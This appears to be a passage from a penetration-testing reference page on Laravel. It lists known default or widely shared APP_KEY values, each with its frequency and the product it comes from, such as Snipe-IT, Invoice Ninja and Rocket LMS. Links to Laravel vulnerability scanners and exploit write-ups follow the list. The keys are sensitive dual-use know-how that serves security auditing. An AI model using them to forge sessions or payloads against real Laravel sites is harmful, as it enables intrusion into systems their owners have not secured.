Frequently used in bootstrapped projects

⬇️

5️⃣

275

otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI=

Default key of XPanel SSH User Management

⬇️

6️⃣

203

U29tZVJhbmRvbVN0cmluZw==

Default APP_KEY on older Laravel Version base64 value of SomeRandomString

🟰

7️⃣

170

FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs=

APP_KEY shared between unrelated projects

⬇️

8️⃣

165

BlQYTmcfZGV4XShvK5Z+ffNVWv0qszkUTRuEGmQ76lw=

Default key of Rocket LMS available on CodeCanyon

🆕

9️⃣

164

EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw=

Default key of WASender a message sender for WhatsApp

⬇️

🔟

157

hMS5VtciEk3t/0Ije8BCRl+AZOvU2gJanbAw5i/LgIs=

Default key of Flex Home - Laravel Real Estate Multilingual System available on CodeCanyon

🆕

11

153

3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=

Default key on Snipe-IT

⬆️

19

94

ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs=

Key shared between several random Laravel projects, seems they are copying each other

⬇️

24

87

yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q=

Default key on several AI based projects

⬇️

26

84

RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=

Default key on Invoice ninja

⬇️

320

11

1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E=

Seems linked to several platforms linked to crypto wallet management

⬇️

Scanners

LogoGitHub - crowsec-edtech/larasploit: Laravel Automated Vulnerability ScannerGitHub
LogoGitHub - Ishanoshada/laravelScanner: Massive Laravel scannerGitHub

Other exploits

LogoLaravel | HackTricks - Boitatech

Resources

LogoLaravel: APP_KEY leakage analysisSynacktiv
LogoCommon Bug Pada LaravelNakanosec

Interesting Books

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